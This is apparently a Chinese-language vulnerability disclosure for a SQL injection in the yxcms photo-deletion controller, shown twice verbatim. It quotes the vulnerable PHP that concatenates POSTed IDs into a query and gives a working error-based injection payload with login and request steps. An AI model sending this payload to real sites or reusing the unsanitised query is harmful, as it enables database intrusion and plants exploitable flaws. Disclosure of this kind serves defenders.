### 简要描述: yxcms注入漏洞 ### 详细说明: ``` protected/apps/members/conttoller/photocontroller.php 343行 }else{ if('del'!=$_POST['dotype']) $this->error('操作类型错误~',url('photo/index')); if(empty($_POST['delid'])) $this->error('您没有选择~',url('photo/index')); $delid=implode(',',$_POST['delid']); $photos=model('photo')->select('id in ('.$delid.')','id,photolist,sort,extfield,account'); $delid=''; ``` ### 漏洞证明: 测试方法 注册用户 登陆 打开 127.0.0.1/yxcms/index.php?r=member/photo/del POST 提交 dotype=del&delid[]=1) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)# 就可以看到注入了~ [<img src="https://images.seebug.org/upload/201312/28134533f02d4be4dbada0aaaafc573182d166b2.jpg" alt="_20131228133904.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/28134533f02d4be4dbada0aaaafc573182d166b2.jpg)
### 简要描述: yxcms注入漏洞 ### 详细说明: ``` protected/apps/members/conttoller/photocontroller.php 343行 }else{ if('del'!=$_POST['dotype']) $this->error('操作类型错误~',url('photo/index')); if(empty($_POST['delid'])) $this->error('您没有选择~',url('photo/index')); $delid=implode(',',$_POST['delid']); $photos=model('photo')->select('id in ('.$delid.')','id,photolist,sort,extfield,account'); $delid=''; ``` ### 漏洞证明: 测试方法 注册用户 登陆 打开 127.0.0.1/yxcms/index.php?r=member/photo/del POST 提交 dotype=del&delid[]=1) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)# 就可以看到注入了~ [<img src="https://images.seebug.org/upload/201312/28134533f02d4be4dbada0aaaafc573182d166b2.jpg" alt="_20131228133904.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/28134533f02d4be4dbada0aaaafc573182d166b2.jpg)